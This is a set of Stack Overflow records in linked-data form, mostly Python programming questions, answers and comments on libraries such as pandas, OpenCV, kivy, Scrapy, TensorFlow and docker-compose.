has text: @BenjaminLevy: I think the fact that OP (you actually) mentions P3 as his environment does not make for the need of the P3 tag. There is no issue in the question caused by the use of P3. This is a python tkinter question. As per "Use the more generic [python] tag if your question is not version-specific." So I think the title is perfectly well without mentioning it.
comment on: http://stackoverflow.com/a/49464113
type: Comment

http://stackoverflow.com/comment/85892499
score: 0
type: Comment
type: QuestionComment
has text: Would you count 1,-2,4,-8,16... as geometric?
comment on: http://stackoverflow.com/q/49443126

http://stackoverflow.com/comment/86145418
score: 0
comment on: http://stackoverflow.com/a/49568530
type: AnswerComment
has text: Hey! Thanks it working but There should be a seperate list for collecting the subdomains who have 404 error codes.
type: Comment

http://stackoverflow.com/q/49588575
tagged with: kivy
has title: How to change canvas color in kivy python dynamicly?
type: AnsweredQuestion
score: 2
tagged with: colors
upvote count: 2
answer count: 1
downvote count: 0
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49590209
tagged with: canvas
has answer: http://stackoverflow.com/a/49590209
has body: The aim is to change color of pen in kivy when user press button.The color will changed to button's background color.Code of the canvas: def on_touch_move(self,color,touch): with self.pc.canvas: global wtd,pencolor Color(pencolor) if wtd == 1: Ellipse(pos=(touch.x,touch.y),size=(penrad,penrad)) Code of the on_press binded to button: def newclr(self,instance): global pencolor pencolor = instance.background_color self.on_touch_move return pencolor Buttons events works normally!
tagged with: python

translation
tags question: http://stackoverflow.com/q/49591674
tag name: translation
type: Tag

http://stackoverflow.com/q/49553646
has answer: http://stackoverflow.com/a/49560238
favorite count: 0
type: Question
tagged with: opencv
has title: connectedComponents in opencv (Python) does not care from connectivity?
tagged with: python
tagged with: opencv3.3
score: 2
type: AnsweredQuestion
tagged with: python-2.7
upvote count: 2
accepted answer: http://stackoverflow.com/a/49560238
has body: I have a problem with connectedComponents (or connectedComponentsWithStats) which is an opencv (3.3.0) function in Python (2.7.12). A simple code is the following : import numpy as np import cv2 img = np.zeros((4,4), dtype = np.uint8) img[1,1] = 255 img[2,2] = 255 output = cv2.connectedComponents(img, 4) print output[1] It returns [[0 0 0 0] [0 1 0 0] [0 0 1 0] [0 0 0 0]] which is strange since I asked for connected components with connectivity 4 (not 8). So the two pixels in (1, 1) and (2, 2) are not connected and should give two different connected components, labelled 1 and 2 for instance. Did I make a mistake ?
downvote count: 0
answer count: 1
tagged with: image-processing

http://stackoverflow.com/comment/86119620
comment on: http://stackoverflow.com/a/49556020
type: AnswerComment
has text: But not because of the `d.get` lookup time. As the `list*` tests demonstrate, that difference should be much larger.
score: 0
type: Comment

http://stackoverflow.com/a/49495951
answers question: http://stackoverflow.com/q/49495762
type: Answer
has body: why don't you just go directly with the source, if you see the page source of the link it is getting data from https://www.nascar.com/live/feeds/live-feed.json, with that you can easily get the data in json format and parse it as you like. import requests import json url = "https://www.nascar.com/live/feeds/live-feed.json" res = requests.get(url) print(r.json())
upvote count: 2
has comment: http://stackoverflow.com/comment/85997158
has comment: http://stackoverflow.com/comment/85998594
has comment: http://stackoverflow.com/comment/85998254
has comment: http://stackoverflow.com/comment/85998099
has comment: http://stackoverflow.com/comment/85998456
score: 2
downvote count: 0

http://stackoverflow.com/comment/86075151
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49533330
has text: @PhuongDuyenHuynhNgoc No, pandas isn't a visualisation library so it doesn't make sense to ask to to display a table in a non standard way. In what context do you want to do this?
score: 0

http://stackoverflow.com/comment/85945049
has text: or `jupyter notebook --notebook-dir="directory"`
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49471154

http://stackoverflow.com/a/49518372
has comment: http://stackoverflow.com/comment/86042953
upvote count: 2
has comment: http://stackoverflow.com/comment/86043101
has comment: http://stackoverflow.com/comment/86042974
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86043035
answers question: http://stackoverflow.com/q/49518251
has comment: http://stackoverflow.com/comment/86042489
accepted answer of: http://stackoverflow.com/q/49518251
has comment: http://stackoverflow.com/comment/86042632
type: Answer
has comment: http://stackoverflow.com/comment/86042661
has comment: http://stackoverflow.com/comment/86043134
has comment: http://stackoverflow.com/comment/86043449
score: 2
has comment: http://stackoverflow.com/comment/86042536
has body: Use list.insert(index,object) for adding into specific index of List. Please note you have to do this for inside list you have in default_dict as you are referring. ex: &gt;&gt;li1 = [1,2,3,4,5] &gt;&gt;li1.insert(5,8) &gt;&gt;li1 [1, 2, 3, 4, 5, 8] &gt;&gt;li1.insert(1,99) &gt;&gt;li1 [1, 99, 2, 3, 4, 5, 8] More efficient way is slicing too, if you are inserting single or multiple elements at specific index without replacing existing values. &gt;&gt;li1 = [1,2,3,9,6,4,9,0] &gt;&gt;li1[3:3] = [7] &gt;&gt;li1 [1, 2, 3, 7, 9, 6, 4, 9, 0] Please note time complexity for insert is O(n) and slicing is O(k)

http://stackoverflow.com/a/49559249
has comment: http://stackoverflow.com/comment/86127071
answers question: http://stackoverflow.com/q/49558561
has comment: http://stackoverflow.com/comment/86126667
downvote count: 0
has comment: http://stackoverflow.com/comment/86127900
upvote count: 5
score: 5
has comment: http://stackoverflow.com/comment/86126784
accepted answer of: http://stackoverflow.com/q/49558561
has comment: http://stackoverflow.com/comment/86126644
type: AcceptedAnswer
type: Answer
has body: This will read much more easily as a regular for loop: new_list = [] for i in old_list: if not re.findall(r'find_pattern', i, re.M): new_list.append(re.sub(r'replace_a', 'with_b', i)) elif foo == re.match("pattern", foo): new_list.append(re.sub(r'replace_c', r'with_d', i)) # else: # i Your problem is that a conditional expression must always take an else clause, because it has to have some value whether or not the condition is true. With an if statement, however, you can omit the else. The above, for instance, has the ability to make new_list shorter than old_list, as not every i needs to result in a call to new_list.append. Uncommenting the else results in the same result as jpp's answer. If you insist on using a list comprehension, then you can format it to make it more readable. Consider new_list = [re.sub(r'replace_pattern_a', 'with_pattern_b', i) if not re.findall(r'find_pattern', i, re.M) else re.sub(r'replace_pattern_c', r'with_pattern_d', i) if foo == re.match("pattern", foo) else i for i in old_list] although the conditional expression really isn't designed for such nesting. This visually separates the expressions that could be added to the new list from the conditions used to make the decision, but I'm not a big fan. There are other ways to format that make different trade-offs, but IMO the regular for loop is superior. As jpp mentions, another way to refactor is to define a generator function: def foo(old_list): for i in old_list: if not re.findall(r'find_pattern', i, re.M): yield re.sub(r'replace_a', 'with_b', i)) elif foo == re.match("pattern", foo): yield re.sub(r'replace_c', r'with_d', i)) else: yield i new_list = list(foo()) which would have its pros and cons as well. (I think enumerating those is probably beyond the scope of this answer, but it does fall somewhere between the two extremes of a single list comprehension and an explicit for loop. It also comes closest to the construct I miss from my Perl days, the do statement, which is something like…

http://stackoverflow.com/q/49595809
type: AnsweredQuestion
answer count: 2
tagged with: docker-compose
downvote count: 0
possible better answer: http://stackoverflow.com/a/49616676
has body: I've set up docker-compose as a remote interpreter in pycharm using the instructions found here. The docker-compose build works fine, but when trying to run a test using this interpreter I get the following error: Testing started at 12:13 AM ... docker-compose://[/home/melchoir55/gitrepos/python_rest/docker-compose.yml]:python_rest/python -u /opt/.pycharm_helpers/pycharm/_jb_unittest_runner.py --path /opt/project/tests Traceback (most recent call last): File "bin/docker-compose", line 6, in &lt;module&gt; File "compose/cli/main.py", line 71, in main File "compose/cli/main.py", line 124, in perform_command File "compose/cli/command.py", line 38, in project_from_options File "compose/cli/docker_client.py", line 84, in tls_config_from_options File "site-packages/docker/tls.py", line 81, in __init__ docker.errors.TLSParameterError: Path to a certificate and key files must be provided through the client_config param. TLS configurations should map the Docker CLI client configurations. See https://docs.docker.com/engine/articles/https/ for API details. [8964] Failed to execute script docker-compose Process finished with exit code 255 I haven't done much to the system other than installing pycharm, docker, docker-compose, and adding my user to the docker group for permissions. Does anyone know what docker-compose is complaining about here via pycharm? I did note that there seem to be some env vars which I don't have set related to these certificates, but it isn't clear to me what they should be set to, if I were to set them. Update: For reference I am running pycharm in Ubuntu within a virtualbox machine.
has answer: http://stackoverflow.com/a/49616676
has answer: http://stackoverflow.com/a/49698638
has title: docker-compose integration not working in pycharm
favorite count: 0
type: Question
tagged with: pycharm
linked to: http://stackoverflow.com/q/39941116
upvote count: 13
score: 13
tagged with: python
accepted answer: http://stackoverflow.com/a/49698638
tagged with: docker

http://stackoverflow.com/q/49475324
score: 0
answer count: 1
has title: from adaptor.model import CsvModel
has body: I am trying to use the CsvModel module from django-adaptors. However, when i use from adaptor.model import CsvModel and makemigrations, below errors occured. Can anyone advise the reason why? my code in the model is as follows: from django.db import models from adaptor.model import CsvModel from adaptor.fields import CharField, DecimalField class User(models.Model): user_name = models.CharField(max_length = 50, null=True, unique=True) def __str__(self): return self.user_name class Profile(models.Model): rubbish = models.DecimalField(max_digits= 1000, decimal_places=3, null=True) user = models.CharField(max_length = 50, unique = True, null=True) hobby = models.CharField(max_length = 50, null=True) job = models.CharField(max_length = 60, null=True) class Trial(CsvModel): rubbish = DecimalField() user = CharField() hobby = CharField() class Meta: dbmodel = Profile delimiter = ',' has_header = True Error message is as follows: File "manage.py", line 15, in &lt;module&gt; execute_from_command_line(sys.argv) File "/usr/local/lib/python3.6/site-packages/django/core/management/__init__.py", line 371, in execute_from_command_line utility.execute() File "/usr/local/lib/python3.6/site-packages/django/core/management/__init__.py", line 347, in execute django.setup() File "/usr/local/lib/python3.6/site-packages/django/__init__.py", line 24, in setup apps.populate(settings.INSTALLED_APPS) File "/usr/local/lib/python3.6/site-packages/django/apps/registry.py", line 112, in populate app_config.import_models() File "/usr/local/lib/python3.6/site-packages/django/apps/config.py", line 198, in import_models self.models_module = import_module(models_module_name) File "/usr/local/Cellar/python/3.6.4_3/Frameworks/Python.framework/Versions/3.6/lib/python3.6/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 994, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 971, in …
type: Question
tagged with: http://stackoverflow.com/tag/csv
accepted answer: http://stackoverflow.com/a/49475556
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/49475556
type: AnsweredQuestion

http://stackoverflow.com/comment/86010185
comment on: http://stackoverflow.com/q/49502908
type: Comment
type: QuestionComment
has text: @abarnert The big list usually contains around 20k-70k elements. Would that be considered very big?
score: 0

http://stackoverflow.com/q/49553618
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49553698
has title: Find and replace in pandas?
downvote count: 0
tagged with: pandas
upvote count: 1
score: 1
answer count: 1
tagged with: python
favorite count: 0
type: Question
has body: I am performing the min-max-scaler operation on a data frame which contains numeric columns, but if the within those numeric columns if any cell contains a string or null value then I am getting an exception. To avoid that I think of converting the string or null cell to 0. How to perform that? my function: def min_max_scaler(df_sub,col_names): """ import the following: from sklearn import preprocessing from sklearn.preprocessing import StandardScaler df_sub : Expecting a subset of data frame in which every columns should be number fields (It contains all the columns on which you want to perform the operation) example : df_subset = df.filter(['latitude','longitude','order.id'], axis=1) col_names : All column names of the subset """ scaler = preprocessing.MinMaxScaler() scaled_df = scaler.fit_transform(df_sub) scaled_df = pd.DataFrame(scaled_df, columns=col_names) return scaled_df Dataset : day phone_calls received 7 180 NaN 8 8 NaN 9 -240 qbb how to put the validation before executing this function.Please help.
has answer: http://stackoverflow.com/a/49553698
tagged with: scikit-learn

http://stackoverflow.com/comment/86141210
type: AnswerComment
has text: I think its still useful as it is. The intent of the code might arguably be more clear using a list comprehension and rectangles.
comment on: http://stackoverflow.com/a/49565947
type: Comment
score: 0

http://stackoverflow.com/q/49474514
type: Question
has comment: http://stackoverflow.com/comment/85952141
has comment: http://stackoverflow.com/comment/85952875
has body: At the moment i try to read a *.txt with "read_csv". Works fine so far. In[1]: df = pd.read_csv('Data.txt', skiprows=range(0,4), sep='\t', header = 0, skipinitialspace = True) If i set the header = 0 i get the Elementlabels, but they repeat for each value of CTF1, CTF2, CTF3... and so on. So there are multiple Elements in the Header with the same value: 20052065, 20052065 .1, 20052065 .2 ... --> 20052065 .11 In[2]: print(df) Out[2]: Unnamed: 0 ELEMENT 20052065 20052066 20052082 20052087 20052089 \ 0 TIME[s] TEMP[C] CTF1 CTF1 CTF1 CTF1 CTF1 1 0.000 24.000 -4.234 -6.728 -14.386 -4.356 -6.926 2 60.000 36.137 -29.308 -24.795 -26.937 -30.134 -24.735 3 120.000 49.013 -48.825 -36.383 -29.986 -49.897 -35.748 20052090 20052116 20052119 ... 20052116.10 20052119.10 20052065.11 \ 0 CTF1 CTF1 CTF1 ... CU3 CU3 CU_M 1 -10.205 -9.934 -14.012 ... 0.001 0.001 0.003 2 -23.474 -23.982 -27.175 ... -0.016 -0.015 0.023 3 -28.007 -28.904 -29.788 ... -0.035 -0.032 0.036 So i would like to create a MultiIndex with CTF1, CTF2, CTF3,... as the "upper" Index and down there the Elementlabels. In the end i would like to select a Value by its 1. Level and its 2. Level Index. Got no Idea how to get this work. :-/ The *.txt looks like:
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85952729
linked to: http://stackoverflow.com/q/19103624
tagged with: python
has comment: http://stackoverflow.com/comment/85953616
score: 0
has comment: http://stackoverflow.com/comment/85952364
tagged with: pandas
answer count: 0
linked to: http://stackoverflow.com/q/20109391
tagged with: load-csv
has title: Load CSV to Pandas as MultiIndex
has comment: http://stackoverflow.com/comment/85952043
tagged with: multi-index

http://stackoverflow.com/q/49497707
tagged with: pandas
has comment: http://stackoverflow.com/comment/85999643
has title: How to generate a Trailing Average in Python Pandas Dataframe
answer count: 1
type: Question
tagged with: average
has body: I have the following worked out from my last question. I used the formula df['3D Average'] = df.iloc[::-1].groupby('Hour').Value.rolling(window = 3).mean()\.shift().sort_index(level = 1).values to populate the 3D average column thanks to help from a member. What this formula does is look at the next 3 dates, and average the values that have the same hour as the reference row. HOWEVER, the problem is that I just realized that my dates are INCREASING here, so what I actually need is for the lag to trail instead of average forward. So, 1/4 should be the first date with any value since anything before that doesn't have enough values, and as the 3DAverage column fills down, it should continually populate the trailing 3Day average of the Value column. Date Hour Value 3DAverage 1/1 1 57 53.33 1/1 2 43 42.33 1/1 3 44 45.33 1/2 1 51 ... 1/2 2 40 ... 1/2 3 42 ... 1/3 1 56 ... 1/3 2 42 1/3 3 48 1/4 1 53 1/4 2 45 1/4 3 46 1/5 1 56 1/5 2 46 1/5 3 48 1/5 4 64 * 1/6 1 50 1/6 2 41 1/6 3 42 1/7 1 57 1/7 2 43 1/7 3 45 1/8 1 58 1/8 2 49 1/8 3 41 1/9 1 53 1/9 2 46 1/9 3 47 1/10 1 58 1/10 2 49 1/10 3 40 I hope that makes sense. To be clear, I still need it to ignore the 1/5 Hour 4 extra row, as it should only be using the referenced hour in each row. Thank you for your help !
tagged with: mean
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/49497913
accepted answer: http://stackoverflow.com/a/49497913
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/86041115
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49517678
has text: If your laptop have SSD disks and the other machinne has physical spinning disks, that could account for differences of this order - where the mechanical disk machine will be bottlenecked by serialization operations that hit the filesystem. The workaround should simply be to spawn more workers.
score: 0

http://stackoverflow.com/comment/85913506
comment on: http://stackoverflow.com/a/49452534
has text: Thanks for your answer but I cannot use this cause it creates two more functions and first answer is simpler than this one.
type: AnswerComment
score: 1
type: Comment

http://stackoverflow.com/q/49461147
tagged with: python-2.7
upvote count: 3
score: 1
has answer: http://stackoverflow.com/a/49461207
favorite count: 0
type: Question
tagged with: syntax-error
has title: invalid syntax (<string>)
accepted answer: http://stackoverflow.com/a/49461192
answer count: 2
linked to: http://stackoverflow.com/q/35968877
possible better answer: http://stackoverflow.com/a/49461207
has answer: http://stackoverflow.com/a/49461192
downvote count: 2
has body: # create a mapping of state to abbreviation states = [ 'Oregon': 'OR', 'Florida': 'FL', 'California': 'CA', 'New York': 'NY', 'Michigan': 'MI' ] I am learning Python from Learning Python The Hard Way. In example 39 of the book, I typed the same code as shown above for creating a dictionary, even copied and pasted it, but I m getting an error E0001:invalid syntax (&lt;string&gt;, line 3) and it is pointing at :. What went wrong?
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/q/49584011
has comment: http://stackoverflow.com/comment/86176420
accepted answer: http://stackoverflow.com/a/49584552
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49584552
has comment: http://stackoverflow.com/comment/86176914
score: 1
has comment: http://stackoverflow.com/comment/86176810
tagged with: web-crawler
type: Question
has comment: http://stackoverflow.com/comment/86176480
has comment: http://stackoverflow.com/comment/86176294
answer count: 1
has title: How to queue new URL when exception occurs in Scrapy
downvote count: 0
has comment: http://stackoverflow.com/comment/86176449
has comment: http://stackoverflow.com/comment/86176941
upvote count: 1
tagged with: python
has body: Suppose that before I launch my Scrapy crawler, I am not sure if a site is served via HTTPS or HTTP. So I always try HTTPS first (e.g., https://www.wsiltv.com/random) using the code as follows: import scrapy from scrapy.spidermiddlewares.httperror import HttpError from twisted.internet.error import DNSLookupError, ConnectionRefusedError class MySpider(scrapy.Spider): name = "myspider" def __init__(self, category=None): self.failed_urls = [] def start_requests(self): urls = ['https://www.WSILTV.COM/random', # a few more URLs here ] for url in urls: yield scrapy.Request(url=url, callback=self.parse, meta={'dont_redirect': True}, errback=self.err_callback) def parse(self, response): cur_datetime = datetime.now().strftime("%Y-%m-%d %H:%M") yield {'text':response.body, 'fetch_date':cur_datetime} def err_callback(self, failure): # REF: https://doc.scrapy.org/en/latest/topics/request-response.html#using-errbacks-to-catch-exceptions-in-request-processing if failure.check(HttpError): # I want to record URLs that caused HTTP errors self.failed_urls.append([failure.value.response.url, failure.value.response.status]) return elif failure.check(DNSLookupError): # Similarly, I'd like to record those which caused DNS errors # E.g., 'https://non-existent-url.com' self.failed_urls.append([failure.request.url, 'DNSLookupError']) return elif failure.check(ConnectionRefusedError): # Here, I'd like to try HTTP version of the original URL such as 'http://www.WSILTV.COM/random' new_request = Request('http://www.WSILTV.COM/random', callback=self.parse, meta={'dont_redirect': True}) else: return In other words, I'd like to know how to queue a new request (to crawl) from err_callback method. Also, is there a better (more efficient) way to try https first and then if it fails, try http later in Scrapy? Thank you in advanced for your answers!
tagged with: scrapy

http://stackoverflow.com/q/49541504
tagged with: python
linked to: http://stackoverflow.com/q/49677428
answer count: 0
score: 1
tagged with: plotly
duplicate of: http://stackoverflow.com/q/49677428
downvote count: 0
upvote count: 1
has title: saving a dash layout to html file
favorite count: 0
type: Question
has body: I plotted a bunch of things in a dash layout. I want to save them to an html file so I can look at them later. when I reopen the saved html file, I first see everything correctly. However, within &lt;2s, the page goes blank and I get an error: “Error loading layout”. How can this be fixed? Thanks!
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/49599606
accepted answer: http://stackoverflow.com/a/49599733
has answer: http://stackoverflow.com/a/49599733
answer count: 1
tagged with: string
tagged with: find
type: Question
tagged with: python
has body: while True: contents = pyperclip.paste() #paste from clipboard filepath = r"C:\Users\BOT\Desktop\DATA.txt" with open(filepath, 'w') as f: # 'w' means write mode and we get the file object as f f.write(contents) f.close() #write on DATA.txt, save with open(filepath, 'r') as f:(edited) ============== this give DATA.txt this text: 440 Entry Short Short 2018-04-01 17:37:00 6479.5 Exit Short Close position order 2018-04-01 17:39:00 6477 17 42.5 441 Entry Long Long 2018-04-01 17:39:00 6477 Exit Long Close position order 2018-04-01 17:41:00 6513.5 51 1861.5 442 Entry Short Short 2018-04-01 17:41:00 6513.5 Exit Short Close position order 2018-04-01 17:43:00 6503 68 714 443 Entry Long Long 2018-04-01 17:43:00 6503 Exit Long Close position order 2018-04-01 17:44:51 6517 85 1190 444 Entry Short Short 2018-04-01 17:45:06 6518.5 Exit Short Open 445 Entry Short Short 2018-04-01 18:45:06 6525.5 Exit Short Open how to find strings such as last one? "Exit Short Open" Output here should be 2 filepath = r"C:\Users\BOT\Desktop\DATA.txt" with open(filepath, 'w') as f: # 'w' means write mode and we get the file object as f f.write(contents) f.close() with open(filepath, 'r') as f: f.read(contents) if 'Exit Short Open' in open.f.read(): print('Exit Short Open') f.close() not working
has comment: http://stackoverflow.com/comment/86206628
has title: How to find specific Strings in text file in Python
tagged with: text
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/49482549
favorite count: 0
type: Question
has body: I'm writing code which must work on both 2 and 3, and occasionally have to deal with utf-8 strings. Consider the following on 2.x: &gt;&gt;&gt; mystr = 'Nyår' &gt;&gt;&gt; mystr_u = mystr.encode('utf-8') Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 2: ordinal not in range(128) This will work on 3, but will raise a UnicodeError in 2.x because of the differences between what the str object actually is. This is obviously problematic when code must work in both versions. How I am currently getting around this is with the following: &gt;&gt;&gt; mystr = 'Nyår' &gt;&gt;&gt; try: ... mystr_u = mystr.encode('utf-8') ... except UnicodeError as e: ... mystr_u = mystr ... &gt;&gt;&gt; mystr_u 'Ny\xc3\xa5r' This seems a little messy to me. Is there a more Pythonic way to make my code version-independent when it comes to utf-8 strings? Edit: Just to clarify, I am not working with literals in the actual code. That was just done for the example. The actual code is getting the string from another call, such as os.listdir() on a directory with entries using unicode characters.
has comment: http://stackoverflow.com/comment/85967977
type: AnsweredQuestion
has title: What is the most Pythonic way to handle unicode strings in code that runs in both 2.x and 3.x
has comment: http://stackoverflow.com/comment/85968485
tagged with: python
accepted answer: http://stackoverflow.com/a/49482574
score: 0
has comment: http://stackoverflow.com/comment/85996818
has answer: http://stackoverflow.com/a/49482574
answer count: 1
upvote count: 1
tagged with: string
downvote count: 1
tagged with: unicode

http://stackoverflow.com/q/49460596
duplicate of: http://stackoverflow.com/q/26447191
downvote count: 0
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/49460708
has comment: http://stackoverflow.com/comment/85965601
answer count: 1
has answer: http://stackoverflow.com/a/49460708
favorite count: 0
tagged with: trendline
type: Question
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/85965709
has comment: http://stackoverflow.com/comment/85967768
linked to: http://stackoverflow.com/q/26447191
has body: For understanding, I generated two 2D arrays. After that, I plot the scatter plot of that array. Now I want to draw a linear trendline and also the equation of that line. But I am doing something wrong. I really don't know how to get equation as well. My code is: # Import Libraries import numpy as np import matplotlib.pyplot as plt # Generate Random data a = np.zeros(shape=(8,8)) a[0] = [1,2,3,4,5,6,7,8] a[1] = [1,0,3,4,0,6,6,8] a[2] = [1,2,3,4,5,3,7,8]# Import Libraries import numpy as np import matplotlib.pyplot as plt # Generate Random data a = np.zeros(shape=(8,8)) a[0] = [1,2,3,4,5,6,7,8] a[1] = [1,0,3,4,0,6,6,8] a[2] = [1,2,3,4,5,3,7,8] a[3] = [1,2,3,0,5,6,7,8] a[4] = [1,2,3,4,5,6,7,5] a[5] = [1,2,3,4,5,6,7,8] a[6] = [1,2,0,1,5,0,8,8] a[7] = [1,2,3,4,5,6,7,8] b = np.zeros(shape=(8,8)) b[0] = [1,1,3,4,5,6,7,8] b[1] = [1,0,3,4,5,6,7,8] b[2] = [1,2,3,4,5,6,5,6] b[3] = [2,2,3,0,5,6,7,8] b[4] = [1,2,3,8,8,6,7,8] b[5] = [1,2,3,4,5,6,7,9] b[6] = [1,2,6,4,5,0,7,8] b[7] = [1,2,3,4,5,6,7,9] # Draw scatterplot plt.figure(); plt.title('Scatter plot') plt.xlabel('a') plt.ylabel('b') plt.xlim(0, 10) plt.ylim(0, 10) plt.scatter(a, b) plt.show() # Add trendline with equation #z = np.polyfit(a, b, 1) #p = np.poly1d(z) #plt.plot(a,p(a),"r--") #print "y=%.6fx+(%.6f)"%(z[0],z[1]) #Dont know how it comes! Thanks for help and suggestions!
tagged with: numpy
has title: Add trendline with equation in 2D array
type: AnsweredQuestion

http://stackoverflow.com/q/49462107
has body: I'm able to get all the parts in a music21.stream.Score, using s = music21.stream.Score() s.getElementsByClass(music21.instrument.Instrument) or music21.instrument.partitionByInstrument(s) But I cannot find a way to check whether each Part is using a Piano instrument. Is there a better way to do that?
type: Question
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49472424
accepted answer: http://stackoverflow.com/a/49472424
has title: How can I get all piano parts from a music21 score?
tagged with: music21
answer count: 1

http://stackoverflow.com/a/49514636
has comment: http://stackoverflow.com/comment/86081691
answers question: http://stackoverflow.com/q/49504426
type: Answer
downvote count: 1
has body: @Maddy Schiappa, also please note that since you had mentioned AWS Glue, only pure python libraries are supported currently. " You can use Python extension modules and libraries with your AWS Glue ETL scripts as long as they are written in pure Python. C libraries such as pandas are not supported at the present time, nor are extensions written in other languages. Refer : https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-python-libraries.html
upvote count: 0
score: -1

http://stackoverflow.com/q/49579352
accepted answer: http://stackoverflow.com/a/51922717
tagged with: python
has comment: http://stackoverflow.com/comment/86167576
has comment: http://stackoverflow.com/comment/86167142
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86167662
has comment: http://stackoverflow.com/comment/86168129
tagged with: gpu
has answer: http://stackoverflow.com/a/51922717
tagged with: tensorflow
favorite count: 0
has body: I have the following test code: import tensorflow as tf import numpy as np def body(x): a = tf.random_uniform(shape=[2, 2], dtype=tf.int32, maxval=100) b = tf.constant(np.array([[1, 2], [3, 4]]), dtype=tf.int32) c = a + b return tf.nn.relu(x + c) def condition(x): return tf.reduce_sum(x) &lt; 100 x = tf.Variable(tf.constant(0, shape=[2, 2])) with tf.Session(): tf.initialize_all_variables().run() result = tf.while_loop(condition, body, [x]) print(result.eval()) when I run it on my GPU cluster, I produce the following error: 2018-03-30 18:10:33.473913: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1041] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 10415 MB memory) -&gt; physical GPU (device: 0, name: GeForce GTX 1080 Ti, pci bus id: 0000:3d:00.0, compute capability: 6.1) 2018-03-30 18:10:33.591203: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1041] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:1 with 10415 MB memory) -&gt; physical GPU (device: 1, name: GeForce GTX 1080 Ti, pci bus id: 0000:3e:00.0, compute capability: 6.1) 2018-03-30 18:10:33.688390: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1041] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:2 with 10415 MB memory) -&gt; physical GPU (device: 2, name: GeForce GTX 1080 Ti, pci bus id: 0000:60:00.0, compute capability: 6.1) 2018-03-30 18:10:33.806845: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1041] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:3 with 10415 MB memory) -&gt; physical GPU (device: 3, name: GeForce GTX 1080 Ti, pci bus id: 0000:61:00.0, compute capability: 6.1) 2018-03-30 18:10:33.913200: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1041] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:4 with 10415 MB memory) -&gt; physical GPU (device: 4, name: GeForce GTX 1080 Ti, pci bus id: 0000:b1:00.0, compute capability: 6.1) 2018-03-30 18:10:34.018533: I t…
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/86167945
has title: Tensorflow is unable to run code on too many GPUs?
has comment: http://stackoverflow.com/comment/86167647
downvote count: 0
answer count: 1

http://stackoverflow.com/q/49467836
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85940764
favorite count: 0
has title: Finding the closest point of an array using numpy.linarg.norm() function
has comment: http://stackoverflow.com/comment/85939033
has answer: http://stackoverflow.com/a/49467878
has body: This is the Python Code: import numpy as np def find_nearest_vector(array, value): idx = np.array([np.linalg.norm(x+y) for (x,y) in array-value]).argmin() return array[idx] A = np.random.random((10,2))*100 """ A = array([[ 34.19762933, 43.14534123], [ 48.79558706, 47.79243283], [ 38.42774411, 84.87155478], [ 63.64371943, 50.7722317 ], [ 73.56362857, 27.87895698], [ 96.67790593, 77.76150486], [ 68.86202147, 21.38735169], [ 5.21796467, 59.17051276], [ 82.92389467, 99.90387851], [ 6.76626539, 30.50661753]])""" pt = [6, 30] print find_nearest_vector(A,pt) #array([ 6.76626539, 30.50661753]) Can somebody explain me the step-by-step process of getting the nearest vector? The whole process of function "find_nearest_vector()". Can someone show me the tracing process of this function? Thank you.
has comment: http://stackoverflow.com/comment/85938319
score: 1
has comment: http://stackoverflow.com/comment/85939335
has comment: http://stackoverflow.com/comment/85938358
has comment: http://stackoverflow.com/comment/85938254
type: Question
tagged with: numpy
downvote count: 0
upvote count: 1
type: UnansweredQuestion
tagged with: arrays

http://stackoverflow.com/comment/85920390
has text: Not off the top of my head, that's strange. As long as `fh` refers to an open file object `fh.close()` should work https://docs.python.org/3.5/tutorial/inputoutput.html#reading-and-writing-files
comment on: http://stackoverflow.com/a/49456397
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86173047
score: 0
has text: @Barmar, Dan: Sorry, my fault, I broke the indentation of the last line while copying the wall of code and moving it around... Restored the link to original gist. Is it ok now?
comment on: http://stackoverflow.com/q/49582413
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85971511
score: 0
type: Comment
type: QuestionComment
has text: I think you'll need `df1.combine_first(df2)` or `df2.combine_first(df1)`
comment on: http://stackoverflow.com/q/49484401

http://stackoverflow.com/comment/86177223
type: Comment
comment on: http://stackoverflow.com/a/49561927
has text: Fixed the errors @Corrado. It had a `scan` before the host index, also added several safety checks. - Also tested it myself.
type: AnswerComment
score: 0

http://stackoverflow.com/q/49541071
tagged with: python
